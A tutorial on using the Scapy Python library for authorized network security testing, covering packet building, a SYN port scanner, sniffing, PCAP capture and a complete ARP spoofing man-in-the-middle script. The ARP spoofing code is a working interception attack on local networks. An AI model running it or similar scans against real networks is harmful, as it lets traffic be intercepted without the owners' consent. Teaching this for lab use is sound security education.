Scapy Packet Crafting for Network Security Testing
Scapy is a powerful Python library that lets you forge, send, receive, and decode network packets at any layer of the OSI model. Unlike tools such as Wireshark (passive) or Nmap (fixed templates), Scapy gives you byte-level control over every field in every header. That makes it indispensable for fuzzing, protocol analysis, custom scanner development, and network-layer attack simulation in authorized lab environments.
Legal notice: Only run Scapy tests against networks and devices you own or have explicit written authorization to test.
Installation
# Kali Linux / Debian
sudo apt install python3-scapy
# Any system with pip
pip3 install scapy
# Verify
python3 -c "from scapy.all import *; print(conf.version)"
Run Scapy as root (or with sudo) for raw socket operations. On Linux you can also grant the capability directly:
sudo setcap cap_net_raw+ep $(which python3)
The Interactive Shell
Launch the interactive Scapy REPL for quick experiments:
sudo scapy
Inside the shell, tab-completion works on layer names and field names — invaluable when learning the library.
Building Packets Layer by Layer
Scapy uses the / operator to stack protocol layers:
from scapy.all import *
# Ethernet / IP / TCP stack
pkt = Ether() / IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
pkt.show()
show() prints every field with its current value — defaults are filled in automatically (source MAC from your interface, source IP from routing table, etc.).
ICMP Ping
from scapy.all import *
target = "192.168.1.1"
reply = sr1(IP(dst=target)/ICMP(), timeout=2, verbose=0)
if reply:
print(f"{target} is up — TTL={reply.ttl}")
else:
print(f"{target} did not respond")
sr1() sends one packet and returns the first reply. srp1() is the Ethernet-layer equivalent.
TCP SYN Scan (Mini-Nmap)
from scapy.all import *
def syn_scan(host, ports):
open_ports = []
pkts = IP(dst=host) / TCP(dport=ports, flags="S")
answered, _ = sr(pkts, timeout=2, verbose=0)
for sent, received in answered:
if received.haslayer(TCP) and received[TCP].flags == 0x12: # SYN-ACK
open_ports.append(sent[TCP].dport)
# Send RST to cleanly close
sr(IP(dst=host)/TCP(dport=sent[TCP].dport, flags="R"), timeout=1, verbose=0)
return open_ports
results = syn_scan("192.168.1.10", [22, 80, 443, 8080, 3306])
print("Open ports:", results)
0x12 is the bitmask for SYN+ACK (0x02 | 0x10). A closed port sends RST+ACK (0x14); filtered ports produce no reply.
ARP Spoofing (Man-in-the-Middle)
ARP spoofing poisons the ARP cache of a target, redirecting their traffic through your machine. This is a classic technique studied in network security courses.
How It Works
- Tell the victim that the gateway’s MAC is your MAC
- Tell the gateway that the victim’s MAC is your MAC
- Forward packets between them (with IP forwarding enabled)
Implementation
from scapy.all import *
import time
def get_mac(ip):
arp_req = ARP(pdst=ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
answered, _ = srp(broadcast/arp_req, timeout=2, verbose=0)
return answered[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
pkt = ARP(op=2, # op=2 means ARP reply
pdst=target_ip,
hwdst=target_mac,
psrc=spoof_ip)
send(pkt, verbose=0)
def restore(dest_ip, src_ip):
dest_mac = get_mac(dest_ip)
src_mac = get_mac(src_ip)
pkt = ARP(op=2,
pdst=dest_ip,
hwdst=dest_mac,
psrc=src_ip,
hwsrc=src_mac)
send(pkt, count=4, verbose=0)
victim = "192.168.1.50"
gateway = "192.168.1.1"
# Enable IP forwarding so traffic still flows
import subprocess
subprocess.run(["sysctl", "-w", "net.ipv4.ip_forward=1"])
print("[*] Starting ARP spoof — Ctrl+C to stop and restore")
try:
while True:
spoof(victim, gateway) # Tell victim: I am the gateway
spoof(gateway, victim) # Tell gateway: I am the victim
time.sleep(2)
except KeyboardInterrupt:
print("\n[*] Restoring ARP tables...")
restore(victim, gateway)
restore(gateway, victim)
With traffic flowing through your machine, capture it using Wireshark or tcpdump on the relevant interface.
Custom TCP Handshake Analysis
Study the three-way handshake step by step:
from scapy.all import *
import random
target_ip = "192.168.1.10"
target_port = 80
src_port = random.randint(1024, 65535)
seq_num = random.randint(0, 2**32 - 1)
# Step 1: SYN
syn = IP(dst=target_ip) / TCP(sport=src_port, dport=target_port,
flags="S", seq=seq_num)
syn_ack = sr1(syn, timeout=3, verbose=0)
if not syn_ack or not syn_ack.haslayer(TCP):
print("No response to SYN")
else:
print(f"[SYN-ACK] seq={syn_ack[TCP].seq} ack={syn_ack[TCP].ack}")
# Step 2: ACK to complete handshake
ack = IP(dst=target_ip) / TCP(sport=src_port, dport=target_port,
flags="A",
seq=syn_ack[TCP].ack,
ack=syn_ack[TCP].seq + 1)
send(ack, verbose=0)
print("[*] Handshake complete")
# Step 3: RST to close cleanly
rst = IP(dst=target_ip) / TCP(sport=src_port, dport=target_port,
flags="R",
seq=syn_ack[TCP].ack)
send(rst, verbose=0)
DNS Query Crafting
from scapy.all import *
dns_pkt = IP(dst="8.8.8.8") / UDP(dport=53) / \
DNS(rd=1, qd=DNSQR(qname="hackingpc.com"))
response = sr1(dns_pkt, timeout=3, verbose=0)
if response and response.haslayer(DNSRR):
print("DNS answer:", response[DNSRR].rdata)
Sniffing Packets
from scapy.all import *
def packet_handler(pkt):
if pkt.haslayer(IP):
src = pkt[IP].src
dst = pkt[IP].dst
proto = pkt[IP].proto
print(f"{src} -> {dst} proto={proto}")
# Capture 50 packets on eth0 matching TCP traffic
sniff(iface="eth0", filter="tcp", prn=packet_handler, count=50)
The filter parameter accepts standard BPF syntax — the same as Wireshark capture filters.
Writing Captured Packets to PCAP
from scapy.all import *
pkts = sniff(iface="eth0", count=100, filter="tcp port 80")
wrpcap("/tmp/capture.pcap", pkts)
# Read back
loaded = rdpcap("/tmp/capture.pcap")
print(f"Loaded {len(loaded)} packets")
Field Reference Cheat Sheet
| Layer | Class | Common Fields |
|---|
| Ethernet | Ether | dst, src, type |
| IP | IP | dst, src, ttl, proto |
| TCP | TCP | dport, sport, flags, seq, ack |
| UDP | UDP | dport, sport |
| ICMP | ICMP | type, code, id, seq |
| ARP | ARP | op, pdst, psrc, hwdst, hwsrc |
| DNS | DNS | rd, qd (DNSQR), an (DNSRR) |
Tips for Effective Use
- Use
ls(IP) inside the Scapy shell to list all fields and their default values for any layer.
hexdump(pkt) shows the raw bytes — useful for comparing against Wireshark.
pkt.summary() gives a one-line description suitable for logging.
- When iterating over a packet list,
for p in pkts: p.show() is cleaner than printing the object directly.
- Combine Scapy with
matplotlib to graph latency distributions from sr() results.
Summary
Scapy is the Swiss Army knife of network security research. Its Python-native interface means you can integrate packet crafting into larger automation scripts, combine it with other libraries (requests, paramiko, etc.), and build custom tools that Nmap and Wireshark simply cannot match. Start with ICMP and ARP experiments in a local VM lab, then progress to full TCP handshake analysis and protocol fuzzing.